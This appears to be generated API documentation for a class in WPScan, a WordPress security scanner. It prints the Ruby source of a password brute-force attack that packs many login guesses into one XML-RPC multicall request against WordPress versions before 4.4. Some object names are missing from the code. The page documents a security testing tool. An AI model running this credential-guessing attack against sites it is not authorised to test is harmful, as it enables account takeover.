Class: WPScan::Finders::Passwords::XMLRPCMulticall
- Inherits:
-
CMSScanner::Finders::Finder
- Object
- CMSScanner::Finders::Finder
- WPScan::Finders::Passwords::XMLRPCMulticall
- Defined in:
- app/finders/passwords/xml_rpc_multicall.rb
Overview
Password attack against the XMLRPC interface with the multicall method WP < 4.4 is vulnerable to such attack
Instance Method Summary collapse
-
#attack(users, passwords, opts = {}) {|Model::User| ... } ⇒ Object
TODO: Make rubocop happy about metrics etc.
- #check_and_output_errors(res) ⇒ Object
- #do_multi_call(users, passwords) ⇒ Typhoeus::Response
-
#passwords_size(max_passwords, users_size) ⇒ Object
rubocop:disable all.
Instance Method Details
#attack(users, passwords, opts = {}) {|Model::User| ... } ⇒ Object
TODO: Make rubocop happy about metrics etc
rubocop:disable all
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# File 'app/finders/passwords/xml_rpc_multicall.rb', line 36 def attack(users, passwords, opts = {}) wordlist_index = 0 max_passwords = opts[:multicall_max_passwords] current_passwords_size = passwords_size(max_passwords, users.size) (total: (passwords.size / current_passwords_size.round(1)).ceil, show_progression: opts[:show_progression]) loop do current_users = users.select { |user| user.password.nil? } current_passwords = passwords[wordlist_index, current_passwords_size] wordlist_index += current_passwords_size break if current_users.empty? || current_passwords.nil? || current_passwords.empty? res = do_multi_call(current_users, current_passwords) .increment check_and_output_errors(res) # Avoid to parse the response and iterate over all the structs in the document # if there isn't any tag matching a valid combination next unless res.body =~ /isAdmin/ # maybe a better one ? Nokogiri::XML(res.body).xpath('//struct').each_with_index do |struct, index| next if struct.text =~ /faultCode/ user = current_users[index / current_passwords.size] user.password = current_passwords[index % current_passwords.size] yield user # Updates the current_passwords_size and progress_bar#total # given that less requests will be done due to a valid combination found. current_passwords_size = passwords_size(max_passwords, current_users.size - 1) if current_passwords_size == 0 .log('All Found') # remove ? .stop break end .total = .progress + ((passwords.size - wordlist_index) / current_passwords_size.round(1)).ceil end end # Maybe a progress_bar.stop ? end |
#check_and_output_errors(res) ⇒ Object
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# File 'app/finders/passwords/xml_rpc_multicall.rb', line 94 def check_and_output_errors(res) .log("Incorrect response: #{res.code} / #{res.}") unless res.code == 200 .log('Parsing error, might be caused by a too high --max-passwords value (such as >= 2k)') if res.body =~ /parse error. not well formed/i .log('The requested method is not supported') if res.body =~ /requested method [^ ]+ does not exist/i end |
#do_multi_call(users, passwords) ⇒ Typhoeus::Response
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# File 'app/finders/passwords/xml_rpc_multicall.rb', line 13 def do_multi_call(users, passwords) methods = [] users.each do |user| passwords.each do |password| methods << ['wp.getUsersBlogs', user.username, password] end end target.multi_call(methods, cache_ttl: 0).run end |
#passwords_size(max_passwords, users_size) ⇒ Object
rubocop:disable all
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# File 'app/finders/passwords/xml_rpc_multicall.rb', line 86 def passwords_size(max_passwords, users_size) return 1 if max_passwords < users_size return 0 if users_size == 0 max_passwords / users_size end |